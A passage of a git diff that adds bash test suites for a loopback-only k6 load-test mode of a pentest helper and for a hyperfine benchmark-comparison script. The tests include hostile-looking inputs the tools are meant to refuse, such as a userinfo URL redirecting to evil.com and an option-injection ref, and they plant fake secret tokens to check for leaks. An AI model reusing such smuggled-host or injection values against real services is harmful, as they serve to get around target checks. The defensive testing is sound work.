fine-grained token permission is named on the page. | diff --git a/scripts/ci-tests.d/perf-tools.sh b/scripts/ci-tests.d/perf-tools.sh new file mode 100644 index 000000000..5452a3707 --- /dev/null +++ b/scripts/ci-tests.d/perf-tools.sh @@ -0,0 +1,4 @@ +# Registers the perf tools: perf_compare.sh (hyperfine A/B), app_pentest.sh --load (k6 smoke), and the heavy_gate.py hold on perf_compare.sh. +bash scripts/test-perf-compare.sh +bash scripts/test-app-pentest-load.sh +python3 scripts/test_heavy_gate_perf.py diff --git a/scripts/ci-tests.d/review-checks-guarddog.sh b/scripts/ci-tests.d/review-checks-guarddog.sh new file mode 100644 index 000000000..c6a4acde8 --- /dev/null +++ b/scripts/ci-tests.d/review-checks-guarddog.sh @@ -0,0 +1,2 @@ +# review_checks.sh guarddog step: offline supply-chain scan of npm packages a changed package-lock.json newly adds (shim cases plus a real-binary run when installed). +bash scripts/test-review-checks-guarddog.sh diff --git a/scripts/ci-tests.d/semgrep-gha-actor-allowlist.sh b/scripts/ci-tests.d/semgrep-gha-actor-allowlist.sh new file mode 100644 index 000000000..b679f3cff --- /dev/null +++ b/scripts/ci-tests.d/semgrep-gha-actor-allowlist.sh @@ -0,0 +1,2 @@ +# Bundled semgrep rule perun.gha.actor-allowlist-from-vars (templates/semgrep-taint/gha.yml): annotated ruleid/ok workflow and action.yml fixtures (live when semgrep is installed, SKIP otherwise) plus offline replays of the rule's own regexes and structural pins (severity, [heuristic] message, name hints, path scope) that still run where semgrep is absent. +python3 scripts/test_semgrep_gha_actor_allowlist.py diff --git a/scripts/ci-tests.d/sibling-sweep.sh b/scripts/ci-tests.d/sibling-sweep.sh new file mode 100644 index 000000000..100b53e0b --- /dev/null +++ b/scripts/ci-tests.d/sibling-sweep.sh @@ -0,0 +1,2 @@ +# Registers the sibling_sweep.py tests and the review_checks.sh sibling-sweep step: unchanged non-test call sites of a function whose call arguments the diff changed elsewhere are listed as leads (old-form arguments first, a multi-line insertion and an empty old argument list counted as changes), while definitions, test paths, calls already in the new form, same-named calls in another language, names with more than 25 call sites and a callback-body edit are not; the per-function and overall caps with one not-checked row for the rest; a call far into a long line kept and a long comment line ignored; commit-only reads (the working tree is untouched); unresolvable and dash-leading refs refused with exit 2; and the hub step (rows, analyzers ran, skipped under --full, one not-checked row when the script is missing). Offline, hermetic. +bash scripts/test-review-checks-sibling-sweep.sh diff --git a/scripts/size-budgets.tsv b/scripts/size-budgets.tsv index ae99630b7..e5936a4ac 100644 --- a/scripts/size-budgets.tsv +++ b/scripts/size-budgets.tsv @@ -139,7 +139,7 @@ .claude/skills/deep-code-review/references/language-stack-redflags.md 10082 .claude/skills/deep-code-review/references/machine-report.md 13064 .claude/skills/deep-code-review/references/merge-operations.md 79430 -.claude/skills/deep-code-review/references/method-situational.md 44231 +.claude/skills/deep-code-review/references/method-situational.md 44396 .claude/skills/deep-code-review/references/method.md 29936 .claude/skills/deep-code-review/references/method-diff.md 7872 .claude/skills/deep-code-review/references/method-lenses.md 7743 @@ -208,11 +208,11 @@ README.md 16118 .claude/skills/product-discovery/references/full-map.md 12384 .claude/skills/growth-analytics/references/full-map.md 10661 .claude/skills/positioning/references/full-map.md 9520 -.claude/skills/INDEX.md 16291 +.claude/skills/INDEX.md 16424 .claude/skills/agentic-delivery/INDEX.md 4672 .claude/skills/agentic-delivery/INDEX-scripts.md 17223 .claude/skills/deep-code-review/INDEX.md 20552 -.claude/skills/deep-code-review/INDEX-scripts.md 6334 +.claude/skills/deep-code-review/INDEX-scripts.md 6642 .claude/skills/agentic-delivery/references/pipeline-optimizer.md 19857 .claude/skills/agentic-delivery/references/focus-kit.md 5235 .claude/skills/communication-structure/references/artifact-templates.md 9443 @@ -230,11 +230,11 @@ README.md 16118 .claude/skills/deep-code-review/references/appsec-verify.md 7863 .claude/skills/deep-code-review/references/security-review-mode.md 10789 .claude/skills/deep-code-review/references/api-contracts-streaming.md 7409 -.claude/skills/deep-code-review/references/performance-latency-depth.md 13236 +.claude/skills/deep-code-review/references/performance-latency-depth.md 13456 .claude/skills/deep-code-review/references/small-diff-read-budget.md 526 -.claude/skills/deep-code-review/references/app-pentest.md 6393 +.claude/skills/deep-code-review/references/app-pentest.md 8135 .claude/skills/deep-code-review/references/supply-chain-check.md 3646 -.claude/skills/deep-code-review/references/tool-hub.md 10152 +.claude/skills/deep-code-review/references/tool-hub.md 14455 .claude/skills/deep-code-review/references/desktop-native-appsec.md 4724 .claude/skills/deep-code-review/references/dynamic-probe.md 1890 .claude/skills/agentic-delivery/references/flow-guards.md 2105 diff --git a/scripts/test-app-pentest-load.sh b/scripts/test-app-pentest-load.sh new file mode 100644 index 000000000..ca48680a8 --- /dev/null +++ b/scripts/test-app-pentest-load.sh @@ -0,0 +1,147 @@ +#!/usr/bin/env bash +# Tests for app_pentest.sh --load: refusals and hard caps, the k6 call (flags, clean environment, generated script), the JSON +# numbers and every status (ran, error, skipped), with a fake k6 on PATH that records its argv and environment and writes a +# canned summary. One real run (skipped visibly when k6 is not installed) goes against python3 -m http.server on 127.0.0.1 and +# a closed loopback port. Loopback only: targets are 127.0.0.1 literals; servers are killed by PID on exit. +# shellcheck disable=SC2319 # each `ok $?` reads the status of the [ ] check on the line before it, on purpose +set -u +ROOT="$(cd "$(dirname "$0")/.." && pwd)" +S="$ROOT/.claude/skills/deep-code-review/scripts/app_pentest.sh" +T="$(mktemp -d "${TMPDIR:-/tmp}/apl.XXXXXX")" || exit 1; pids=""; trap 'kill $pids 2>/dev/null; rm -rf "$T"' EXIT +fails=0; n=0 +ok() { n=$((n+1)); if [ "$1" = 0 ]; then :; else fails=$((fails+1)); echo "FAIL: $2"; fi; } + +# --- fakes. k6 reads its mode and canned summary from files beside it, because the real call runs under env -i --- +mkdir "$T/fake" "$T/empty" "$T/home" +cat >"$T/fake/k6" <<'EOF' +#!/bin/sh +d="$(dirname "$0")" +echo "$@" >"$d/argv" +env >"$d/env" +while [ $# -gt 0 ]; do + case "$1" in + --summary-export) j="$2"; shift 2 ;; + -c) cp "$2" "$d/cfg"; shift 2 ;; + -*) shift ;; + *) last="$1"; shift ;; + esac +done +cp "$last" "$d/load.js" +case "$(cat "$d/mode")" in + crash) exit 3 ;; + failafter) cp "$d/summary.json" "$j"; exit 3 ;; + garbage) echo "not json" >"$j" ;; + none) ;; + *) cp "$d/summary.json" "$j" ;; +esac +EOF +for t in nuclei zap-baseline.py zap-full-scan.py schemathesis; do printf '#!/bin/sh\necho "$0 $@" >>"%s"\n' "$T/calls" >"$T/fake/$t"; done +chmod +x "$T/fake/"*; : >"$T/calls" +mode() { echo "$1" >"$T/fake/mode"; } +summary() { # summary VERSION COUNT RATE MED P95: a canned k6 --new-machine-readable-summary file + printf '{"config":{},"metadata":{"k6_version":"2.3.0"},"results":{"metrics":[{"name":"http_req_failed","type":"rate","values":{"matches":0,"rate":%s,"total":%s}},{"name":"http_reqs","type":"counter","values":{"count":%s}},{"name":"http_req_duration","type":"trend","contains":"time","values":{"avg":1,"max":99,"med":%s,"min":1,"p90":1.5,"p95":%s}}]},"version":"%s"}\n' "$3" "$2" "$2" "$4" "$5" "$1" >"$T/fake/summary.json" +} +export K6_CLOUD_TOKEN=tok-secret K6_OUT=cloud HTTPS_PROXY=http://127.0.0.1:9 http_proxy=http://127.0.0.1:9 # must never reach k6 +unset APP_PENTEST_ALLOW +run() { env HOME="$T/home" PATH="${P:-$T/fake:/usr/bin:/bin}" "$@"; } +load() { rm -f "$T/fake/argv" "$T/fake/env" "$T/fake/load.js" "$T/fake/cfg"; run bash "$S" --load "$@" >"$T/o.json" 2>"$T/err"; rc=$?; } +chk() { python3 -I -c "import json,sys; d=json.load(open(sys.argv[1])); assert $1, d" "$T/o.json"; } +argv() { grep -qF -e "$1" "$T/fake/argv"; } +refused() { # refused DESC cmd...: exit 2, empty stdout, REFUSED on stderr (naming $WANT when set), k6 never started + d="$1"; shift; rm -f "$T/fake/argv"; out="$(run "$@" 2>"$T/err")"; rc=$? + [ $rc -eq 2 ] && [ -z "$out" ] && grep -q "^REFUSED.*${WANT:-}" "$T/err" && [ ! -e "$T/fake/argv" ]; ok $? "refuse $d (rc=$rc)" +} +U=http://127.0.0.1:8080 + +# --- refusals: hard caps are refused, never clamped --- +for v in 21 1000; do WANT="hard cap" refused "--vus $v" bash "$S" --load --vus "$v" "$U"; done +for v in 0 abc -1 1.5 007 99999999999999999999 ""; do WANT="--vus" refused "--vus '$v'" bash "$S" --load --vus "$v" "$U"; done +for v in 61 100; do WANT="hard cap" refused "--secs $v" bash "$S" --load --secs "$v" "$U"; done +for v in 0 abc -1 1.5 007 99999999999999999999 ""; do WANT="--secs" refused "--secs '$v'" bash "$S" --load --secs "$v" "$U"; done +WANT="--vus needs" refused "--vus without a value" bash "$S" --load --vus +WANT="need --load" refused "--vus without --load" bash "$S" --vus 3 "$U" +WANT="need --load" refused "--secs without --load" bash "$S" --secs 3 "$U" +WANT="runs alone" refused "--load then --active" bash "$S" --load --active "$U" +WANT="runs alone" refused "--active then --load" bash "$S" --active --load "$U" +WANT="runs alone" refused "--load with --openapi" bash "$S" --load --openapi spec.json "$U" +WANT="usage" refused "--load without a URL" bash "$S" --load +WANT="usage" refused "--load with two URLs" bash "$S" --load "$U" "$U" +WANT="usage" refused "--load with an unknown flag" bash "$S" --load --foo "$U" +# the existing rails still apply (same check_url as the scanners) +WANT="not localhost" refused "off-allowlist host" bash "$S" --load http://example.com +WANT="not localhost" refused "off-allowlist address" bash "$S" --load http://127.0.0.2 +WANT="not localhost" refused "private address" bash "$S" --load https://10.0.0.5 +WANT="userinfo" refused "userinfo in the URL" bash "$S" --load http://localhost@evil.com/ +WANT="http://" refused "non-http scheme" bash "$S" --load ftp://localhost +WANT="bad port" refused "bad port" bash "$S" --load http://localhost:123456 +WANT="" refused "empty URL" bash "$S" --load "" +[ ! -s "$T/calls" ]; ok $? "no refusal started a scanner" + +# --- defaults, boundaries and the k6 call --- +mode ok; summary 1.0.0 150 0.02 3.456 12.3456 +load "$U" +[ $rc -eq 0 ] && [ ! -s "$T/err" ] && argv ' -u 5 -d 15s '; ok $? "defaults: 5 VUs for 15 s, clean stderr (rc=$rc)" +chk 'd["tools"]=={"k6":"ran"} and d["load"]=={"vus":5,"secs":15,"requests":150,"p50_ms":3.46,"p95_ms":12.35,"error_rate":0.02}'; ok $? "ran: requests, p50 and p95 in ms (2 places), error rate from the summary" +chk '"leads" not in d and d["target"]=="'"$U"'" and d["ips"]==["127.0.0.1"] and "capacity" in d["note"]'; ok $? "no leads key (a load run must not read as a clean scan); target, resolved ips and a caveat note" +load --vus 20 --secs 60 "$U"; [ $rc -eq 0 ] && argv ' -u 20 -d 60s '; ok $? "the caps themselves are accepted: 20 VUs, 60 s" +load --vus 1 --secs 1 "$U"; [ $rc -eq 0 ] && argv ' -u 1 -d 1s '; ok $? "the floor is accepted: 1 VU, 1 s" +rm -f "$T/fake/argv"; run bash "$S" --secs 9 --vus 7 --load "$U" >/dev/null 2>&1; argv ' -u 7 -d 9s '; ok $? "flags in any order" +load "$U" +for f in --no-usage-report --no-color --max-redirects --new-machine-readable-summary "-e TARGET=$U"; do argv "$f"; ok $? "k6 flag $f"; done +argv ' --max-redirects 0 ' && ! argv insecure && ! argv ' --out ' && ! argv cloud; ok $? "no redirects followed; no TLS skip, output or cloud flag" +[ "$(cat "$T/fake/cfg")" = '{}' ]; ok $? "k6 config pinned to an empty file (no user config.json)" +grep -qF "http.get(__ENV.TARGET, { timeout: '5s' }); sleep(0.1);" "$T/fake/load.js" && ! grep -qF "$U" "$T/fake/load.js"; ok $? "script: one GET with a 5 s timeout and a 100 ms pause; the URL arrives by env, not baked in" +! grep -qiE '^(K6_|https?_proxy|all_proxy)' "$T/fake/env" && ! grep -q tok-secret "$T/fake/env"; ok $? "k6 sees no K6_* or proxy variable (env -i)" +grep -qE '^HOME=.*/ap\.[A-Za-z0-9]+$' "$T/fake/env" && ! grep -q "^HOME=$T/home" "$T/fake/env" && grep -qF "PATH=$T/fake:/usr/bin:/bin" "$T/fake/env"; ok $? "k6 HOME is the run's temp dir; PATH is passed on" +[ ! -s "$T/calls" ]; ok $? "--load starts no other scanner" +APP_PENTEST_ALLOW=127.0.0.2 load http://127.0.0.2:8080 +[ $rc -eq 0 ] && argv 'TARGET=http://127.0.0.2:8080' && chk 'd["ips"]==["127.0.0.2"] and d["tools"]["k6"]=="ran"'; ok $? "an APP_PENTEST_ALLOW host is accepted, its address printed" +summary 1.2.0 3 0 0.1 0.2; load "$U" +chk 'd["tools"]["k6"]=="ran" and d["load"]["error_rate"]==0.0 and d["load"]["p50_ms"]==0.1 and d["load"]["p95_ms"]==0.2'; ok $? "any 1.x summary version is read" + +# --- statuses: anything that is not a usable run is error, never a clean result --- +mode crash; load "$U"; [ $rc -eq 0 ] && chk 'd["tools"]=={"k6":"error"} and d["load"] is None'; ok $? "k6 crash: status error, load null, still valid JSON" +mode failafter; load "$U"; [ $rc -eq 0 ] && chk 'd["tools"]=={"k6":"error"} and d["load"] is None'; ok $? "k6 exits non-zero after writing a summary: error, the numbers are not trusted" +mode garbage; load "$U"; [ $rc -eq 0 ] && chk 'd["tools"]["k6"]=="error" and d["load"] is None'; ok $? "unparseable summary: error" +mode none; load "$U"; [ $rc -eq 0 ] && chk 'd["tools"]["k6"]=="error" and d["load"] is None'; ok $? "no summary written: error" +mode ok; summary 2.0.0 150 0.02 3 4; load "$U"; chk 'd["tools"]["k6"]=="error" and d["load"] is None'; ok $? "unknown summary version: error" +summary 1.0.0 0 0 0 0; load "$U"; chk 'd["tools"]["k6"]=="error" and d["load"] is None'; ok $? "zero requests: error" +echo '{"results":{"metrics":[]},"version":"1.0.0"}' >"$T/fake/summary.json"; load "$U"; chk 'd["tools"]["k6"]=="error" and d["load"] is None'; ok $? "summary without the metrics: error" +summary 1.0.0 40 1 0 0; load "$U" +chk 'd["tools"]["k6"]=="error" and d["load"]=={"vus":5,"secs":15,"requests":40,"p50_ms":None,"p95_ms":None,"error_rate":1.0}'; ok $? "every request failed: error, error rate 1.0, no percentiles" +summary 1.0.0 40 0.5 3 4; load "$U"; chk 'd["tools"]["k6"]=="ran" and d["load"]["error_rate"]==0.5'; ok $? "half the requests failed: still ran, the error rate says so" + +# --- k6 missing: skipped, visible on stderr, exit 0 --- +if ! PATH=/usr/bin:/bin command -v k6 >/dev/null; then + rm -f "$T/fake/argv"; P="$T/empty:/usr/bin:/bin" run bash "$S" --load "$U" >"$T/o.json" 2>"$T/err"; rc=$? + [ $rc -eq 0 ] && grep -q '^NOT CHECKED: k6 (install: brew install k6)$' "$T/err" && chk 'd["tools"]=={"k6":"skipped"} and d["load"] is None and d["ips"]==["127.0.0.1"]'; ok $? "no k6: skipped, NOT CHECKED on stderr, load null (rc=$rc)" +else + echo "SKIP: missing-k6 case (a k6 sits in /usr/bin:/bin)" +fi + +# --- real k6: a toy server (python3 -m http.server) on 127.0.0.1, then a closed loopback port --- +real="$(command -v k6 2>/dev/null)" +if [ -n "$real" ]; then + w() { env HOME="$T/home" PATH="$(dirname "$real"):/usr/bin:/bin" "$@"; } + mkdir "$T/www"; echo ok >"$T/www/index.html" + python3 -u -m http.server 0 --bind 127.0.0.1 --directory "$T/www" >"$T/srv.log" 2>&1 & pids="$pids $!"; disown + port= + for _ in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20; do + port="$(sed -n 's/.* port \([0-9][0-9]*\).*/\1/p' "$T/srv.log" | head -1)"; [ -n "$port" ] && break; sleep 0.25 + done + if [ -n "$port" ]; then + w bash "$S" --load --vus 2 --secs 2 "http://127.0.0.1:$port/" >"$T/o.json" 2>"$T/err"; rc=$? + [ $rc -eq 0 ] && chk 'd["tools"]=={"k6":"ran"} and d["load"]["requests"]>0 and d["load"]["error_rate"]==0.0 and 0<=d["load"]["p50_ms"]<=d["load"]["p95_ms"] and d["load"]["vus"]==2 and d["load"]["secs"]==2'; ok $? "real k6 against the toy server: ran, requests > 0, p50 <= p95, error rate 0 (rc=$rc; $(head -c 300 "$T/o.json" | tr -d '\n'))" + grep -q '"GET / HTTP/1.1" 200' "$T/srv.log"; ok $? "the toy server saw k6's requests" + w bash "$S" --load --vus 1 --secs 1 "http://127.0.0.1:$port/missing" >"$T/o.json" 2>"$T/err"; rc=$? + [ $rc -eq 0 ] && chk 'd["tools"]=={"k6":"error"} and d["load"]["error_rate"]==1.0 and d["load"]["p95_ms"] is None'; ok $? "real k6, every response a 404: error (status >= 400 counts as failed; rc=$rc)" + else + ok 1 "toy server did not start (no port in its log)" + fi + w bash "$S" --load --vus 1 --secs 1 http://127.0.0.1:1/ >"$T/o.json" 2>"$T/err"; rc=$? + [ $rc -eq 0 ] && chk 'd["tools"]=={"k6":"error"} and d["load"]["error_rate"]==1.0 and d["load"]["p50_ms"] is None'; ok $? "real k6 against a closed port: error, error rate 1.0, no percentiles (rc=$rc)" +else + echo "SKIP: real k6 runs (k6 is not installed)" +fi + +if [ $fails -eq 0 ]; then echo "app_pentest --load: $n/$n"; else echo "app_pentest --load: $((n-fails))/$n"; exit 1; fi diff --git a/scripts/test-perf-compare.sh b/scripts/test-perf-compare.sh new file mode 100644 index 000000000..1262cac07 --- /dev/null +++ b/scripts/test-perf-compare.sh @@ -0,0 +1,180 @@ +#!/usr/bin/env bash +# Tests for perf_compare.sh: refusals, verdict math, the detached base worktree and its cleanup (other worktrees and hooks left +# alone), argv and path quoting through sh and dash, a missing hyperfine, and (when hyperfine is installed) one real run. A fake +# hyperfine on PATH writes canned schema-2 exports, so the math is exact and nothing is timed. Everything lives in a throwaway git +# repo under $TMPDIR; no network, nothing is pushed or fetched. +# shellcheck disable=SC2319 # each `ok $?` reads the status of the [ ] check on the line before it, on purpose +set -u +ROOT="$(cd "$(dirname "$0")/.." && pwd)" +S="$ROOT/.claude/skills/deep-code-review/scripts/perf_compare.sh" +T="$(mktemp -d "${TMPDIR:-/tmp}/pc.XXXXXX")" || exit 1; trap 'rm -rf "$T"' EXIT +fails=0; n=0 +ok() { n=$((n+1)); if [ "$1" = 0 ]; then :; else fails=$((fails+1)); echo "FAIL: $2"; fi; } + +# --- hermetic git: no inherited repo, config or identity --- +unset GIT_DIR GIT_WORK_TREE GIT_INDEX_FILE GIT_COMMON_DIR +export GIT_CONFIG_GLOBAL=/dev/null GIT_CONFIG_NOSYSTEM=1 GIT_CEILING_DIRECTORIES="$T" +export GIT_AUTHOR_NAME="Jane Smith" GIT_AUTHOR_EMAIL="jane@example.com" GIT_COMMITTER_NAME="Jane Smith" GIT_COMMITTER_EMAIL="jane@example.com" +mkdir "$T/fake" "$T/gitbin" "$T/home" "$T/tmpd" +printf '#!/bin/sh\nexec "%s" "$@"\n' "$(command -v git)" >"$T/gitbin/git"; chmod +x "$T/gitbin/git" + +# --- fake hyperfine 2.x: logs argv and the worktree list, runs each timed command once, writes a canned schema-2 export --- +cat >"$T/fake/hyperfine" <<'EOF' +#!/bin/sh +echo "$@" >>"$HF_LOG" +git worktree list >>"$HF_WT" +[ -n "${HF_KILL:-}" ] && { kill -TERM "$PPID"; exit 0; } +c1=; c2=; j= +while [ $# -gt 0 ]; do + case "$1" in + --export-json) j="$2"; shift 2 ;; + --style|--warmup|--runs|-n) shift 2 ;; + --*) shift ;; + *) if [ -z "$c1" ]; then c1="$1"; else c2="$1"; fi; shift ;; + esac +done +${HF_SH:-sh} -c "$c1" >>"$HF_RUNS" 2>&1 && ${HF_SH:-sh} -c "$c2" >>"$HF_RUNS" 2>&1 || { echo "Error: Command terminated with non-zero exit code" >&2; exit 1; } +[ -n "${HF_GARBAGE:-}" ] && { echo "not json" >"$j"; exit 0; } +set -- $HF_MEANS +printf '{"schema_version":%s,"results":[{"name":"base","summary":{"time_wall_clock":{"unit":"second","count":%s,"mean":%s,"stddev":%s}}},{"name":"current","summary":{"time_wall_clock":{"unit":"second","count":%s,"mean":%s,"stddev":%s}}}]}\n' "${HF_SCHEMA:-2}" "${HF_N:-10}" "$1" "$2" "${HF_N:-10}" "$3" "$4" >"$j" +EOF +chmod +x "$T/fake/hyperfine" +export HF_LOG="$T/hf.log" HF_WT="$T/hf.wt" HF_RUNS="$T/hf.runs" HF_MEANS="0.100 0.002 0.103 0.002" HF_N=10 + +# --- repo: commit 1 = origin/main ("base-version"), commit 2 = HEAD ("mid-version"), working tree = "current-version" --- +R="$T/repo"; git init -q -b main "$R" +( cd "$R" && echo base-version >v.txt && mkdir sub && echo s >sub/s.txt && git add . && git commit -qm base && git update-ref refs/remotes/origin/main HEAD \ + && echo mid-version >v.txt && git commit -qam mid ) +echo current-version >"$R/v.txt" +R2="$T/repo2"; git init -q -b main "$R2"; ( cd "$R2" && echo x >f && git add f && git commit -qm one ) # no origin/main +mkdir "$R/newdir" # untracked: absent at any base + +run() { env HOME="$T/home" TMPDIR="$T/tmpd" PATH="${P:-$T/fake:$T/gitbin:/usr/bin:/bin}" "$@"; } +pc() { run "$BASH" "$S" "$@"; } +reset() { : >"$HF_LOG"; : >"$HF_WT"; : >"$HF_RUNS"; unset HF_GARBAGE HF_SCHEMA HF_KILL HF_SH; export HF_MEANS="0.100 0.002 0.103 0.002" HF_N=10; } +nwt() { git -C "${1:-$R}" worktree list | wc -l | tr -d ' '; } +clean() { [ "$(nwt)" = 1 ] && [ -z "$(ls -A "$T/tmpd")" ]; } # no base worktree registered, no temp dir left +refused() { # refused DESC args...: exit 2, empty stdout, REFUSED on stderr (naming $WANT when set), hyperfine never called + d="$1"; shift; reset; out="$(cd "${DIR:-$R}" && pc "$@" 2>"$T/err")"; rc=$? + [ $rc -eq 2 ] && [ -z "$out" ] && grep -q "^REFUSED.*${WANT:-}" "$T/err" && [ ! -s "$HF_LOG" ]; ok $? "refuse $d (rc=$rc)" +} + +# --- help and refusals --- +reset; out="$(cd "$T/home" && pc --help)"; rc=$? +[ $rc -eq 0 ] && [ "$out" = "usage: perf_compare.sh [--runs N] [--base REF] [--json FILE] -- CMD..." ]; ok $? "--help prints usage, exit 0, from anywhere" +refused "no --" --runs 3 +refused "empty command" -- +refused "unknown flag" --nope -- true +refused "bare command without --" true +for r in 0 1 abc -3 1.5 10000 ""; do WANT="--runs" refused "--runs '$r'" --runs "$r" -- true; done +WANT="--runs needs" refused "--runs without a value" --runs +WANT="--base needs" refused "--base without a value" --base +WANT="not an option" refused "--base --evil" --base --evil -- true +WANT="not a commit" refused "--base unknown ref" --base nosuchref -- true +WANT="--base REF" DIR="$R2" refused "no origin/main and no --base" -- true +WANT="not inside a git work tree" DIR="$T/home" refused "outside a repository" -- true +clean; ok $? "refusals leave no worktree and no temp dir" + +# --- missing hyperfine: visible, non-zero, nothing on stdout, nothing created --- +if ! PATH=/usr/bin:/bin command -v hyperfine >/dev/null; then + reset; out="$(cd "$R" && P="$T/gitbin:/usr/bin:/bin" pc --base HEAD -- true 2>"$T/err")"; rc=$? + [ $rc -eq 1 ] && [ -z "$out" ] && grep -q '^NOT CHECKED: hyperfine (install: brew install hyperfine)$' "$T/err" && clean; ok $? "missing hyperfine: NOT CHECKED on stderr, exit 1, empty stdout, nothing created (rc=$rc)" +else + echo "SKIP: missing-hyperfine case (a hyperfine sits in /usr/bin:/bin)" +fi + +# --- verdict math: ranges are mean +- sd and overlap when the means differ by at most sd + sd --- +J="$T/out.json" +vline() { reset; rm -f "$J"; export HF_MEANS="$1"; out="$(cd "$R" && pc --base HEAD --json "$J" -- true 2>"$T/err")"; rc=$?; } +vline "0.100 0.002 0.103 0.002" +[ $rc -eq 0 ] && [ "$out" = "perf_compare: base 100.00 ms (sd 2.00, n=10) | current 103.00 ms (sd 2.00, n=10) | ratio 1.03x | within noise (ranges overlap) | json=$J" ]; ok $? "overlapping ranges: within noise, means, sd, ratio, n ($out)" +vline "0.5 0.125 0.75 0.125" +[ $rc -eq 0 ] && [ "$out" = "perf_compare: base 500.00 ms (sd 125.00, n=10) | current 750.00 ms (sd 125.00, n=10) | ratio 1.50x | within noise (ranges overlap) | json=$J" ]; ok $? "ranges that just touch (gap = sd + sd) count as overlap ($out)" +vline "0.5 0.125 0.751 0.125" +case "$out" in *"| ratio 1.50x | slower (ranges do not overlap) | json=$J") rc2=0 ;; *) rc2=1 ;; esac; [ $rc -eq 0 ] && [ $rc2 -eq 0 ]; ok $? "a hair past the touch point: slower ($out)" +vline "0.100 0.002 0.150 0.002" +case "$out" in *"| ratio 1.50x | slower (ranges do not overlap) | json=$J") rc2=0 ;; *) rc2=1 ;; esac; [ $rc -eq 0 ] && [ $rc2 -eq 0 ]; ok $? "clear gap, current larger: slower, ratio current/base ($out)" +vline "0.150 0.002 0.100 0.002" +case "$out" in *"| ratio 0.67x | faster (ranges do not overlap) | json=$J") rc2=0 ;; *) rc2=1 ;; esac; [ $rc -eq 0 ] && [ $rc2 -eq 0 ]; ok $? "clear gap, current smaller: faster ($out)" +vline "0.100 0 0.100 0" +case "$out" in *"| ratio 1.00x | within noise (ranges overlap) | json=$J") rc2=0 ;; *) rc2=1 ;; esac; [ $rc -eq 0 ] && [ $rc2 -eq 0 ]; ok $? "zero spread and equal means: within noise ($out)" +vline "0.100 0 0.101 0" +case "$out" in *"| slower (ranges do not overlap) | json=$J") rc2=0 ;; *) rc2=1 ;; esac; [ $rc -eq 0 ] && [ $rc2 -eq 0 ]; ok $? "zero spread, any gap: slower ($out)" +[ -z "$(cat "$T/err")" ] && [ "$(printf '%s\n' "$out" | wc -l | tr -d ' ')" = 1 ]; ok $? "stdout is exactly one verdict line, nothing on stderr" +python3 -I -c 'import json,sys; d=json.load(open(sys.argv[1])); assert d["schema_version"]==2 and d["results"][1]["summary"]["time_wall_clock"]["mean"]==0.101, d' "$J"; ok $? "--json FILE holds the raw hyperfine export" +clean; ok $? "success: base worktree removed and temp dir gone" + +# --- a bad export is a failure, never a verdict, and leaves no JSON behind --- +reset; rm -f "$J"; export HF_SCHEMA=1; out="$(cd "$R" && pc --base HEAD --json "$J" -- true 2>"$T/err")"; rc=$? +[ $rc -eq 1 ] && [ -z "$out" ] && grep -q 'unsupported hyperfine export' "$T/err" && [ ! -e "$J" ] && clean; ok $? "schema_version 1: unsupported, exit 1, no JSON (rc=$rc)" +reset; rm -f "$J"; export HF_GARBAGE=1; out="$(cd "$R" && pc --base HEAD --json "$J" -- true 2>"$T/err")"; rc=$? +[ $rc -eq 1 ] && [ -z "$out" ] && grep -q 'unreadable hyperfine export' "$T/err" && [ ! -e "$J" ] && clean; ok $? "unparseable export: exit 1, no JSON (rc=$rc)" +reset; rm -f "$J"; out="$(cd "$R" && pc --base HEAD --json "$T/nodir/x.json" -- true 2>"$T/err")"; rc=$? +[ $rc -eq 1 ] && [ -z "$out" ] && grep -q 'cannot write' "$T/err" && clean; ok $? "unwritable --json path: exit 1, no verdict (rc=$rc)" + +# --- a failing command, and a TERM mid-run, still remove the base worktree and temp dir --- +reset; rm -f "$J"; out="$(cd "$R" && pc --base HEAD --json "$J" -- false 2>"$T/err")"; rc=$? +[ $rc -eq 1 ] && [ -z "$out" ] && grep -q 'hyperfine failed; CMD must exit 0 in both trees' "$T/err" && [ ! -e "$J" ] && clean; ok $? "CMD failing in a tree: exit 1, no JSON, cleaned up (rc=$rc)" +reset; export HF_KILL=1; out="$(cd "$R" && pc --base HEAD --json "$J" -- true 2>"$T/err")"; rc=$? +[ $rc -eq 143 ] && [ -z "$out" ] && [ ! -e "$J" ] && clean; ok $? "TERM during the run: exit 143, worktree and temp dir removed (rc=$rc)" + +# --- what hyperfine is given: a detached base worktree, the working tree, and the flags --- +reset; out="$(cd "$R" && pc --base HEAD -- cat v.txt 2>"$T/err")"; rc=$? +[ "$(cat "$HF_RUNS")" = "$(printf 'mid-version\ncurrent-version')" ]; ok $? "--base HEAD: base runs the committed file, current the working-tree edit" +[ "$(wc -l <"$HF_WT" | tr -d ' ')" = 2 ] && sed -n 2p "$HF_WT" | grep -q '(detached HEAD)$'; ok $? "during the run a second, detached worktree is registered" +grep -qF -e '--style none --shell=default --warmup 1 --runs 10 --export-json' "$HF_LOG" && grep -q -e '-n base cd ' "$HF_LOG" && grep -q -e '-n current cd ' "$HF_LOG"; ok $? "hyperfine flags: --style none --shell=default --warmup 1 --runs 10, names base and current" +reset; out="$(cd "$R" && pc --runs 7 -- cat v.txt 2>"$T/err")"; rc=$? +[ "$(cat "$HF_RUNS")" = "$(printf 'base-version\ncurrent-version')" ] && grep -qF -e '--runs 7' "$HF_LOG"; ok $? "default base is the merge-base with origin/main; --runs 7 reaches hyperfine" +[ -f "$R/.git/perf-compare-last.json" ]; ok $? "default JSON lands in /perf-compare-last.json" +reset; out="$(cd "$R" && pc --base HEAD -- printf '%s|' 'a b' c 2>"$T/err")" +[ "$(cat "$HF_RUNS")" = 'a b|c|a b|c|' ]; ok $? "several words after --: argv preserved (a quoted word with a space stays one argument)" +reset; out="$(cd "$R" && pc --base HEAD -- 'echo x | tr x y' 2>"$T/err")" +[ "$(cat "$HF_RUNS")" = "$(printf 'y\ny')" ]; ok $? "one word after --: a shell string (a pipe works)" +reset; out="$(cd "$R/sub" && pc --base HEAD -- pwd 2>"$T/err")" +case "$(sed -n 1p "$HF_RUNS")" in */base/sub) a=0 ;; *) a=1 ;; esac; [ $a -eq 0 ] && [ "$(sed -n 2p "$HF_RUNS")" = "$R/sub" ]; ok $? "run from a subdirectory: the same subdirectory of the base tree and of the current tree" +reset; out="$(cd "$R/newdir" && pc --base HEAD -- true 2>"$T/err")"; rc=$? +[ $rc -eq 1 ] && grep -q 'newdir/ does not exist at' "$T/err" && [ ! -s "$HF_LOG" ] && clean; ok $? "directory absent at the base: exit 1, hyperfine not run, cleaned up (rc=$rc)" + +# --- the caller's repo is left alone: no global worktree prune on exit, no hooks 